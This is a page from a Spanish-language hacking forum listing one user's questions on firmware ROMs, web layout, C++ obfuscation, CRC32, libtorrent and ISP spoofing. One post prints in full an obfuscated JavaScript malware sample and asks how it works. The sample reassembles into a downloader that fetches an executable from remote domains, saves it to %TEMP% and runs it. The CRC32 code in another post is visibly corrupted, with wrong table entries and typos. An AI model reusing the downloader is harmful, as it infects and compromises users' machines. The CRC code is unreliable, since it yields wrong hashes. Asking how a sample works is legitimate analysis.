elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


  Mostrar Temas
Páginas: 1 [2] 3 4 5 6
11  Seguridad Informática / Análisis y Diseño de Malware / como puedo extraer los archivos de un .rom (firmware) de una tarjeta de video en: 14 Junio 2019, 19:25 pm
hola, estos días he estado investigando sobre este tipo de virus que se almacenan o modifican el firmaware de la pc u otros componentes quería preguntarles como se extrae la información que contiene un .rom mediante Python u otra manera se los agradecería por su amable ayuda, dejo el archivo que obtuve es de mi pc xD

https://mega.nz/#!eUUzUS6D!pfYsGwkPVysW48zGDSnaCib87sJ3vr7MfxiJT3b8okk
12  Programación / Desarrollo Web / como mover una sección hasta el final de otra con jquery en: 10 Marzo 2019, 01:29 am
hola  ::)
veran no logro hacer este efecto que he visto en varios lugares y tampoco he encontrado mucha informacion o algo realmente útil, quizás alguno de ustedes me pueda ayudar  :silbar:

tengo dos secciones en el body de una web (adjunto imagen) una azul y otra roja lo que quiero hacer es que cuando al bajar con el scroll y esta encuentre el final de la sección roja esta baje con la azul hasta el final de la azul de igual forma al subir



https://i.ibb.co/YtpnZJ6/Scro.png
13  Seguridad Informática / Análisis y Diseño de Malware / como funciona y que hace este js en: 8 Febrero 2019, 01:05 am
hola me entro la curiosidad de los malwares en js y luego de investigar un poco encontre este pero no entiendo como funciona y que es lo que hace si alguno fuera tan amable de explicarme  ;D

Código:
var stroke="5557545E0D0A020B24060108130B0B000A1D4A070B09";
function uj241() { vh('602'); return vl(); }; 
function uj70() { vh('e(92)'); return vl(); }; 
function uj236() { vh(' dl('); return vl(); }; 
function uj153() { vh('spons'); return vl(); }; 
function uj94() { vh('ec'); return vl(); }; 
function uj60() { vh('ngs'); return vl(); }; 
function uj202() { vh('ttp:'); return vl(); }; 
function uj63() { vh('")+St'); return vl(); }; 
function uj132() { vh('ne'); return vl(); }; 
function uj220() { vh('d('); return vl(); }; 
function uj55() { vh('dE'); return vl(); }; 
function uj173() { vh('e(fn,'); return vl(); }; 
function uj97() { vh('XM'); return vl(); }; 
function uj47() { vh('pt.S'); return vl(); }; 
function uj27() { vh('for ('); return vl(); }; 
function uj7() { vh(') '); return vl(); }; 
function uj111() { vh(' f'); return vl(); }; 
function uj145() { vh('); '); return vl(); }; 
function uj197() { vh('pe'); return vl(); }; 
function uj35() { vh('i++)'); return vl(); }; 
function uj90() { vh('ew '); return vl(); }; 
function uj225() { vh('er)'); return vl(); }; 
function uj2() { vh('nc'); return vl(); }; 
function uj135() { vh('eX'); return vl(); }; 
function uj186() { vh('}; }'); return vl(); }; 
function uj50() { vh('r f'); return vl(); }; 
function uj72() { vh('.roun'); return vl(); }; 
function uj140() { vh('ODB.S'); return vl(); }; 
function uj129() { vh(' {'); return vl(); }; 
function uj242() { vh('); d'); return vl(); }; 
function uj137() { vh('jec'); return vl(); }; 
function uj87() { vh('var x'); return vl(); }; 
function uj163() { vh(' 1'); return vl(); }; 
function uj149() { vh(' xa.'); return vl(); }; 
function uj101() { vh('P"'); return vl(); }; 
function uj67() { vh('Ch'); return vl(); }; 
function uj64() { vh('rin'); return vl(); }; 
function uj144() { vh('open('); return vl(); }; 
function uj25() { vh('(" "'); return vl(); };  function uj146() { vh('xa.t'); return vl(); };  function uj112() { vh('un'); return vl(); };  function uj222() { vh('} '); return vl(); };  function uj77() { vh('()*10'); return vl(); };  function uj216() { vh(' fals'); return vl(); };  function uj92() { vh('eX'); return vl(); };  function uj39() { vh('new '); return vl(); };  function uj161() { vh('00) {'); return vl(); };  function uj121() { vh('te '); return vl(); };  function uj218() { vh('xo.s'); return vl(); };  function uj162() { vh(' dn ='); return vl(); };  function uj38() { vh('ws = '); return vl(); };  function uj28() { vh('var '); return vl(); };  function vl() { return jvwz; };  function uj102() { vh('); '); return vl(); };  function uj59() { vh('Stri'); return vl(); };  function uj126() { vh('s =='); return vl(); };  function uj58() { vh('ment'); return vl(); };  function uj198() { vh('n('); return vl(); };  function uj131() { vh('xa = '); return vl(); };  function uj88() { vh('o ='); return vl(); };  function uj228() { vh('f ('); return vl(); };  function uj125() { vh('statu'); return vl(); };  function uj156() { vh('f '); return vl(); };  function uj224() { vh('ch ('); return vl(); };  function uj3() { vh('tio'); return vl(); };  function uj14() { vh(' harm'); return vl(); };  function uj160() { vh('50'); return vl(); };  function uj93() { vh('Obj'); return vl(); };  function uj95() { vh('t('); return vl(); };  function uj204() { vh('+b['); return vl(); };  function uj84() { vh(' dn '); return vl(); };  function uj4() { vh('n d'); return vl(); };  function uj213() { vh('="+'); return vl(); };  function uj147() { vh('ype ='); return vl(); };  function uj141() { vh('trea'); return vl(); };  function uj130() { vh(' var '); return vl(); };  function uj200() { vh('ET",'); return vl(); };  function uj9() { vh(' b = '); return vl(); };  function uj192() { vh('}; '); return vl(); };  function uj1() { vh('fu'); return vl(); };  function uj57() { vh('ron'); return vl(); };  function uj150() { vh('wr'); return vl(); };  function uj32() { vh('.len'); return vl(); };  function uj17() { vh('ar.c'); return vl(); };  function uj166() { vh('osit'); return vl(); };  function uj86() { vh('0; '); return vl(); };  function uj157() { vh('(xa'); return vl(); };  function uj208() { vh('t.p'); return vl(); };  function uj54() { vh('an'); return vl(); };  function uj229() { vh('dn ='); return vl(); };  function uj244() { vh('3);'); return vl(); };  function uj48() { vh('hell"'); return vl(); };  function uj11() { vh('dus'); return vl(); };  function uj79() { vh('00000'); return vl(); };  function uj16() { vh('reb'); return vl(); };  function uj78() { vh('00'); return vl(); };  function uj100() { vh('TT'); return vl(); };  function uj181() { vh('); '); return vl(); };  function uj68() { vh('ar'); return vl(); };  function uj96() { vh('"MS'); return vl(); };  function uj180() { vh(',1,0'); return vl(); };  function uj74() { vh('ath.'); return vl(); };  function uj45() { vh('WSc'); return vl(); };  function uj136() { vh('Ob'); return vl(); };  function uj49() { vh('); va'); return vl(); };  function uj46() { vh('ri'); return vl(); };  function uj69() { vh('Cod'); return vl(); };  function uj184() { vh('(er)'); return vl(); };  function uj169() { vh('; x'); return vl(); };  function uj191() { vh('(); '); return vl(); };  function uj66() { vh('om'); return vl(); };  function uj53() { vh('s.Exp'); return vl(); };  function uj26() { vh('); '); return vl(); };  function uj119() { vh('dy'); return vl(); };  function uj170() { vh('a.sa'); return vl(); };  function uj235() { vh(' };'); return vl(); };  function uj178() { vh('s.Ru'); return vl(); };  function uj51() { vh('n '); return vl(); };  function uj80() { vh(')+".e'); return vl(); };  function uj165() { vh('xa.p'); return vl(); };  function uj103() { vh('xo.'); return vl(); };  function uj175() { vh(' try'); return vl(); };  function uj233() { vh('reak;'); return vl(); };  function uj221() { vh('); '); return vl(); };  function uj148() { vh(' 1;'); return vl(); };  function uj105() { vh('ad'); return vl(); };  function uj13() { vh('om'); return vl(); };  function uj232() { vh(' b'); return vl(); };  function uj12() { vh('try.c'); return vl(); };  function uj122() { vh('== 4 '); return vl(); };  function uj65() { vh('g.fr'); return vl(); };  function uj177() { vh(' w'); return vl(); };  function uj234() { vh(' };'); return vl(); };  function vh(myi) { jvwz = myi; };  function uj190() { vh('se'); return vl(); };  function uj142() { vh('m")'); return vl(); };  function uj5() { vh('l('); return vl(); };  function uj193() { vh('}; '); return vl(); };  function uj76() { vh('ndom'); return vl(); };  function uj123() { vh('&& '); return vl(); };  function uj21() { vh('com"'); return vl(); };  function uj31() { vh('i<b'); return vl(); };  function uj209() { vh('hp?rn'); return vl(); };  function uj182() { vh('} c'); return vl(); };  function uj139() { vh('"AD'); return vl(); };  function uj37() { vh('r '); return vl(); };  function uj194() { vh('try '); return vl(); };  function uj42() { vh('XObj'); return vl(); };  function uj83() { vh('var'); return vl(); };  function uj128() { vh('00)'); return vl(); };  function uj189() { vh('.clo'); return vl(); };  function uj85() { vh('= '); return vl(); };  function uj15() { vh('ac'); return vl(); };  function uj196() { vh('.o'); return vl(); };  function uj183() { vh('atch '); return vl(); };  function uj158() { vh('.siz'); return vl(); };  function uj113() { vh('ction'); return vl(); };  function uj22() { vh('.s'); return vl(); };  function uj99() { vh('.XMLH'); return vl(); };  function uj6() { vh('fr'); return vl(); };  function uj110() { vh(' ='); return vl(); };  function uj223() { vh('cat'); return vl(); };  function uj91() { vh('Activ'); return vl(); };  function uj155() { vh('y); i'); return vl(); };  function uj152() { vh('xo.Re'); return vl(); };  function uj36() { vh(' { va'); return vl(); };  function uj117() { vh('xo.r'); return vl(); };  function uj168() { vh(' = 0'); return vl(); };  function uj8() { vh('{ var'); return vl(); };  function uj227() { vh('; i'); return vl(); };  function uj203() { vh('//"'); return vl(); };  function uj23() { vh('pl'); return vl(); };  function uj41() { vh('tive'); return vl(); };  function uj205() { vh('i]+"'); return vl(); };  function uj243() { vh('l(819'); return vl(); };  function uj217() { vh('e); '); return vl(); };  function uj207() { vh('umen'); return vl(); };  function uj114() { vh('() '); return vl(); };  function uj98() { vh('L2'); return vl(); };  function uj176() { vh(' {'); return vl(); };  function uj199() { vh('"G'); return vl(); };  function uj238() { vh('41'); return vl(); };  function uj71() { vh('+Math'); return vl(); };  function uj104() { vh('onre'); return vl(); };  function uj134() { vh('ctiv'); return vl(); };  function uj() { return 'int'; };  function uj164() { vh('; '); return vl(); };  function uj124() { vh('xo.'); return vl(); };  function uj226() { vh(' {}'); return vl(); };  function uj19() { vh('etq'); return vl(); };  function uj89() { vh(' n'); return vl(); };  function uj138() { vh('t('); return vl(); };  function uj108() { vh('ha'); return vl(); };  function uj62() { vh('TEMP%'); return vl(); };  function uj44() { vh('t("'); return vl(); };  function uj151() { vh('ite('); return vl(); };  function uj30() { vh('0; '); return vl(); };  function uj75() { vh('ra'); return vl(); }; 
function e() { return 'pr'; }; 
function uj179() { vh('n(fn'); return vl(); };  function uj212() { vh('"&id'); return vl(); };  function uj127() { vh(' 2'); return vl(); };  function uj133() { vh('w A'); return vl(); };  function uj239() { vh('); '); return vl(); };  function uj159() { vh('e > '); return vl(); };  function uj214() { vh('st'); return vl(); };  function uj20() { vh('y.'); return vl(); };  function uj211() { vh('+fr+'); return vl(); };  function uj185() { vh(' {'); return vl(); };  function uj61() { vh('("%'); return vl(); };  function uj120() { vh('Sta'); return vl(); };  function uj33() { vh('gth'); return vl(); };  function uj231() { vh('1)'); return vl(); };  function uj81() { vh('xe'); return vl(); };  function uj143() { vh('; xa.'); return vl(); };  function uj10() { vh('"ckin'); return vl(); };  function uj118() { vh('ea'); return vl(); };  function uj167() { vh('ion'); return vl(); };  function uj40() { vh('Ac'); return vl(); };  function uj154() { vh('eBod'); return vl(); };  function uj116() { vh('f ('); return vl(); };  function uj29() { vh('i='); return vl(); };  function uj107() { vh('tatec'); return vl(); };  function uj174() { vh('2);'); return vl(); };  function uj34() { vh('; '); return vl(); };  function uj187() { vh('; '); return vl(); };  function uj171() { vh('veToF'); return vl(); };  var pdcr = ''; var jvwz = '';  function uj73() { vh('d(M'); return vl(); };  function uj82() { vh('"; '); return vl(); };  function uj52() { vh('= w'); return vl(); };  function uj109() { vh('nge'); return vl(); };  function uj230() { vh('= '); return vl(); };  function uj195() { vh('{ xo'); return vl(); };  function uj240() { vh('dl(8'); return vl(); };  function uj18() { vh('om '); return vl(); };  function uj215() { vh('roke,'); return vl(); };  function uj237() { vh('33'); return vl(); };  function uj24() { vh('it'); return vl(); };  function uj172() { vh('il'); return vl(); };  function uj188() { vh('xa'); return vl(); };  function uj43() { vh('ec'); return vl(); };  function uj115() { vh('{ i'); return vl(); };  function uj106() { vh('ys'); return vl(); };  function uj201() { vh('"h'); return vl(); };  function uj219() { vh('en'); return vl(); };  function uj210() { vh('d="'); return vl(); };  function uj206() { vh('/doc'); return vl(); };  function uj56() { vh('nvi'); return vl(); };
for (var s=1; s<=244; s++) { vh(this['uj'+s]()); pdcr += vl(); }
this[e()+uj()](pdcr);
14  Programación / Programación C/C++ / como ofuscar código en: 28 Octubre 2018, 07:53 am
hola, se que de esto ya se ha hablado bastante  :rolleyes: el inconveniente es que llegue tarde  ;D quiero ofuscar un codigo c++ pero por mas que he buscando info en google no encuentro nada util (si lose ese buscador ha perdido calidad ) en fin no quiero que se pongan tristes me pase por aquí quizás alguno de ustedes me pueda colaborar este es el código que quiero ofuscar ya que es el index y la key para generar una contraseña que permite leer unos archivos cifrados

Código:
static DWORD s_PackKey[] =
{
420344441,
9763345,
65734421,
101331,
};

static DWORD s_adwSecurityKey[] =
{
7283452,
538433234,
1492,
47548276,
};
15  Programación / Desarrollo Web / como poner un formulario encima de un jumbotron bootstrap 4 en: 8 Octubre 2018, 01:41 am
---------------------------

hola, verán quiero poner un formulario así (ver imagen) pero no tengo idea como podría ser el código, uso bootstrap 4


16  Programación / Desarrollo Web / como se crea una web de este estilo en: 10 Abril 2018, 04:38 am
hola, quiero desarrollar una web con un estilo grafico de esta forma (ver imagenes) pero no logro entender como se hace para ubircar las imagenes o si es alguna tecnica

17  Programación / Programación C/C++ / como puedo calcular el crc32 hash en: 19 Febrero 2018, 00:18 am
hola tengo este código y quiero calcular el crc32 hash de un archivo (o varios) mi nivel de programación en c++ es aun muy bajo y no se como crear el main si alguno me pudiera dirigir con ejemplos

la salida del programa debe ser una lista (algo así)

   
https://puu.sh/9xUQE/4a4075bb53.png


Código:
#include "StdAfx.h"
#include "CRC32.h"

static unsigned long CRCTable[256] =
{
0x00000000,0x77073096,0xEE0E612C,0x990951BA,0x076DC419,0x706AF48F,
0xE963A535,0x9E6495A3,0x0EDB8832,0x79DCB8A4,0xE0D5E91E,0x97D2D988,
    0x09B64C2B,0x7EB17CBD,0xE7B82D07,0x90BF1D91,0x1DB71064,0x6AB020F2,
    0xF3B97148,0x84BE41DE,0x1ADAD47D,0x6DDDE4EB,0xF4D4B551,0x83D385C7,
    0x136C9856,0x646BA8C0,0xFD62F97A,0x8A65C9EC,0x14015C4F,0x63066CD9,
    0xFA0F3D63,0x8D080DF5,0x3B6E20C8,0x4C69105E,0xD56041E4,0xA2677172,
    0x3C03E4D1,0x4B04D447,0xD20D85FD,0xA50AB56B,0x35B5A8FA,0x42B2986C,
    0xDBBBC9D6,0xACBCF940,0x32D86CE3,0x45DF5C75,0xDCD60DCF,0xABD13D59,
    0x26D930AC,0x51DE003A,0xC8D75180,0xBFD06116,0x21B4F4B5,0x56B3C423,
    0xCFBA9599,0xB8BDA50F,0x2802B89E,0x5F058808,0xC60CD9B2,0xB10BE924,
    0x2F6F7C87,0x58684C11,0xC1611DAB,0xB6662D3D,0x76DC4190,0x01DB7106,
    0x98D220BC,0xEFD5102A,0x71B18589,0x06B6B51F,0x9FBFE4A5,0xE8B8D433,
    0x7807C9A2,0x0F00F934,0x9609A88E,0xE10E9818,0x7F6A0DBB,0x086D3D2D,
    0x91646C97,0xE6635C01,0x6B6B51F4,0x1C6C6162,0x856530D8,0xF262004E,
    0x6C0695ED,0x1B01A57B,0x8208F4C1,0xF50FC457,0x65B0D9C6,0x12B7E950,
    0x8BBEB8EA,0xFCB9887C,0x62DD1DDF,0x15DA2D49,0x8CD37CF3,0xFBD44C65,
    0x4DB26158,0x3AB551CE,0xA3BC0074,0xD4BB30E2,0x4ADFA541,0x3DD895D7,
    0xA4D1C46D,0xD3D6F4FB,0x4369E96A,0x346ED9FC,0xAD678846,0xDA60B8D0,
    0x44042D73,0x33031DE5,0xAA0A4C5F,0xDD0D7CC9,0x5005713C,0x270241AA,
    0xBE0B1010,0xC90C2086,0x5768B525,0x206F85B3,0xB966D409,0xCE61E49F,
    0x5EDEF90E,0x29D9C998,0xB0D09822,0xCB4,0x59B33D17,0x2EB40D81,
    0xB7BD5C3B,0xC0BA6CAD,0xEDB88320,0x9ABFB3B6,0x03B6E20C,0x74B1D29A,
    0xEAD54739,0AF,0x04DB2615,0x73DC1683,0xE3630B12,0x94643B84,
    0x0D6D6A3E,0x7A6A5AA8,0xE40ECF0B,0x9309FF9D,0x0A00AE27,0x7D079EB1,
    0xF00F9344,0x8708A3D2,0x1E01F268,0x6906C2FE,0xF762575D,0x806567CB,
    0x196C3671,0x6E6B06E7,0xFED41B76,0,0x10DA7A5A,0x67DD4ACC,
    0xF9B9DF6F,0x8EBEEFF9,0x17B7BE43,0x60B08ED5,0xD6D6A3E8,0xA1D1937E,
    0x38D8C2C4,0x4FDFF252,0xD1BB67F1,0xA6BC5767,0x3FB506DD,0x48B2364B,
    0xD80D2BDA,0xAF0A1B4C,0x36034AF6,0x41047A60,0xDF60EFC3,0xA867DF55,
    0x316E8EEF,0x4669BE79,0xCB61B38C,0xBC66831A,0x256FD2A0,0x5268E236,
    0xCC0C7795,0xBB0B4703,0x220216B9,0x5505262F,0xC5BA3BBE,0xB2BD0B28,
    0x2BB45A92,0x5CB36A04,0xC2D7FFA7,0xB5D0CF31,0x2CD99E8B,0x5BDEAE1D,
    0x9B64C2B0,0xEC63F226,0x756AA39C,0x026D930A,0x9C0906A9,0xEB0E363F,
    0x72076785,0x05005713,0x95BF4A82,0xE2B87A14,0x7BB12BAE,0x0CB61B38,
    0x92D28E9B,0xE5D5BE0D,0x7CDCEFB7,0x0BDBDF21,0x86D3D2D4,0xF1D4E242,
    0x68DDB3F8,0x1FDA836E,0x81BE16CD,0xF6B9265B,0x6FB077E1,0x18B74777,
    0x88085AE6,0xFF0F6A70,0x66063BCA,0x11010B5C,0x8F659EFF,0xF862AE69,
    0x616BFFD3,0x5,0xA00AE278,0xD70DD2EE,0x4E048354,0x3903B3C2,
    0xA7672661,0xD06016F7,0x4969474D,0x3B,0xAED16A4A,0xD9D65ADC,
    0x40DF0B66,0x37D83BF0,0xA9BCAE53,0xDEBB9EC5,0x47B2CF7F,0x30B5FFE9,
    0xBDBDF21C,0xCABAC28A,0x53B39330,0x24B4A3A6,0xBAD03605,0xCDD70693,
    0x54DE5729,0x23D967BF,0xB3667A2E,0xC4614AB8,0x5D681B02,0x2A6F2B94,
    0xB40BBE37,0xC30C8EA1,0x5A05DF1B,0x2D02EF8D
};

#define DO1(buf, i)     crc = CRCTable[(crc ^ buf[i]) & 0xff] ^ (crc >> 8)
#define DO2(buf, i)     DO1(buf, i); DO1(buf, i + 1);
#define DO4(buf, i)     DO2(buf, i); DO2(buf, i + 2);
#define DO8(buf, i)     DO4(buf, i); DO4(buf, i + 4);
#define DO16(buf, i)    DO8(buf, i); DO8(buf, i + 8);

DWORD GetCRC32(const char * buf, size_t len)
{
    DWOD crc = 0xffffffff;

    if (len >= 16)
    {
        do
        {
            DO16(buf, 0);

            buf += 16;
            len -= 16;
        } while (len >= 16);
    }

    if (len != 0)
    {
        do
        {
            DO1(buf, 0);
            ++buf;
            --len;
        } while (len > 0);
    }

crc ^= 0xffffffff;
return crc;
}

#ifndef UPPER
#define UPPER(c)        (((c)>='a'  && (c) <= 'z') ? ((c)+('A'-'a')) : (c))
#endif

#define DO1CI(buf, i)   crc = CRCTable[(crc ^ UPPER(buf[i])) & 0xff] ^ (crc >> 8)
#define DO2CI(buf, i)   DO1CI(buf, i); DO1CI(buf, i + 1);
#define DO4CI(buf, i)   DO2CI(buf, i); DO2CI(buf, i + 2);
#define DOCI(buf, i)   DO4CI(buf, i); DO4CI(buf, i + 4);
#define DO16CI(buf, i)  DO8CI(buf, i); DO8CI(buf, i + 8);

DWORD GetCaseCRC32(const char * buf, size_t len)
{
    DWOD crc = 0xffffffff;

    if (16 <= len)
    {
        do
        {
            DO16CI(buf, 0);

            buf += 16;
            len -= 16;
        } while (len >= 16);
    }

    if (0 != len)
    {
        do
        {
            DO1CI(buf, 0);

            ++buf;
            --len;
        } while (len > 0);
    }

    crc ^= 0xffffffff;
    return crc;
}

DWORD GetHFILECRC32(HANDLE hFile)
{
DWORD dwRetCRC32=0;

DWORD dwFileSize = GetFileSize(hFile, NULL);

DWORD dataOffset=0;
DWORD mapSize=dwFileSize;

SYSTEM_INFO SysInfo;
GetSystemInfo(&SysInfo);

DWORD dwSysGran = SysInfo.dwAllocationGranularity;
DWORD dwFileMapStart = (dataOffset / dwSysGran) * dwSysGran;
DWORD dwMapViewSize = (dataOffset % dwSysGran) + mapSize;
//INT iViewDelta = dataOffset - dwFileMapStart;

HANDLE hFM = CreateFileMapping(hFile, // handle
  NULL, // security
  PAGE_READONLY, // flProtect
  0, // high
  dataOffset + mapSize, // low
  NULL); // name
if (hFM)
{
LPVOID lpMapData = MapViewOfFile(hFM,
FILE_MAP_READ,
0,
dwFileMapStart,
dwMapViewSize);

dwRetCRC32=GetCRC32((const char*)lpMapData, dwFileSize);


if (lpMapData)
{

UnmapViewOfFile(lpMapData);
}

CloseHandle(hFM);
}

return dwRetCRC32;
}

DWORD GetFileCRC32(const char* c_szFileName)
{
HANDLE hFile = CreateFile(c_szFileName, // name of the file
GENERIC_READ, // desired access
FILE_SHARE_READ, // share mode
NULL, // security attributes
OPEN_EXISTING, // creation disposition
FILE_ATTRIBUTE_NORMAL, // flags and attr
NULL); // template file

if (INVALID_HANDLE_VALUE == hFile)
return 0;


DWORD dwRetCRC32=GetHFILECRC32(hFile);

CloseHandle(hFile);

return dwRetCRC32;
}

DWORD GetFileSize(const char* c_szFileName)
{
HANDLE hFile = CreateFile(c_szFileName, // name of the file
GENERIC_READ, // desired access
FILE_SHARE_READ, // share mode
NULL, // security attributes
OPEN_EXISTING, // creation disposition
FILE_ATTRIBUTE_NORMAL, // flags and attr
NULL); // template file

if (INVALID_HANDLE_VALUE == hFile)
return 0;

DWORD dwSize = GetFileSize(hFile, NULL);

CloseHandle(hFile);

return dwSize;
}

int main(int argc, char *argv[])
{
int i = 0, j = 0;
int reg, byt;
unsigned int crc, eor;
unsigned char trama[500000], byte = 0;
long bytes_fichero, bytes_cogidos;

crc = 0;

memcpy(trama, "hola mundo", 10);
bytes_fichero = bytes_cogidos = 10;

while (bytes_fichero>0)
{
for (j = 0; j<bytes_cogidos; j++)
{
i = 8;
byte = trama[j];

crc ^= (unsigned int)byte << 24;
for (i = 0; i<8; i++)
{
eor = crc & 0x80000000 ? 0x4c11db7 : 0;
crc <<= 1;
crc ^= eor;
}
}
bytes_fichero = bytes_fichero - bytes_cogidos;
}
fprintf(stderr, "Valor del CRC: [%x]\n", crc);

return 0;
}
18  Programación / Programación General / es posible editar una biblioteca estática en: 5 Febrero 2018, 09:35 am
hola,
verán tengo unas biblioteca estáticas que por desgracia fueron compiladas en una versión anterior de visual estudio y de ninguna forma he podido usarlas, hay alguna manera en que las pueda usar en la versión que tengo de visual estudio (2015)??

quizás editandolas con algún hexadecimal
depronto volcar el código fuente o algo así xD  :¬¬
19  Programación / Programación C/C++ / error C2660: 'libtorrent::session_handle::listen_on' : la función no acepta 1 ar en: 1 Febrero 2018, 15:38 pm
hola  ;)
estoy actualizando un programa en visual studio 2013 y tengo unos errores que no he podido arreglar  :-\

Código:
error C2660: 'libtorrent::session_handle::listen_on' : la función no acepta 1 argumentos

uso libtorrent 1.1.6
boost 1-66-0

este es el código el error esta en la linea -> if (m_pcSession->listen_on(portRange) == false)


Código:
bool EL_TorrentPatcher::Begin(EL_PatchConfig& stConfig, Earth::EA_CStatus *pcStatus)
{
MA_SAFE_DELETE(m_pcSession);
m_pcSession = new session(fingerprint("LT",LIBTORRENT_VERSION_MAJOR,LIBTORRENT_VERSION_MINOR,0,0),session::add_default_plugins);

m_pcSession->set_alert_mask(alert::error_notification | alert::storage_notification);

libtorrent::session_settings settings;
settings.user_agent = APP_NAME;
settings.prioritize_partial_pieces = true;
settings.min_announce_interval = 30;
m_pcSession->set_settings(settings);

m_pcSession->add_extension(&libtorrent::create_smart_ban_plugin);

m_pcSession->set_max_half_open_connections(stConfig.maxHalfOpenConnections);
m_pcSession->set_max_uploads(stConfig.maxUploadsPerSession);
m_pcSession->set_max_connections(stConfig.maxConnectionsPerSession);

std::pair<int, int> portRange(stConfig.minPort, stConfig.maxPort);
if (m_pcSession->listen_on(portRange) == false)//void listen_on(std::pair<int, int> const& port_range, error_code& ec, const char* net_interface = 0, int flags = 0);
{
if( pcStatus )
pcStatus->AddNRf( Earth::EA_STATUS_ERROR, EL_LTEXT("TORRENT_SESSION_LISTEN_ERROR"), portRange.first, portRange.second );
return false;
}

// ¾Æ·¡ ±â´ÉµéÀº listen_on ÀÌÈÄ¿¡ Çϵµ·Ï ±ÇÀåÇÏ°í ÀÖÀ½
m_pcSession->start_upnp();
m_pcSession->start_natpmp();
m_pcSession->start_dht();
m_pcSession->start_lsd();

return true;
}

nota1: al pasar el puntero encima de  m_pcSession->listen_on "dice error la expresión debe tener un tipo aritmético, enum sin ámbito o de puntero"
20  Seguridad Informática / Hacking / es posible falsear los detalles del isp en una ip? en: 28 Diciembre 2017, 19:10 pm
hola, he estado investigando pero no logro resolver esta duda es posible falsear (cambiar) los detalles de una isp en una ip, por ejemplo
---- sin usar un vpn, vps o un proxy -----
mi ip es 200.x.x.x y el proveedor (isp) es claro, se puede cambia esa informacion para que al ubicar esa ip diga q el isp es verizon u otro, de ser asi como se podria?

pdt-> nose si esto va a qui, pido una disculpa sino, saludos
Páginas: 1 [2] 3 4 5 6
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines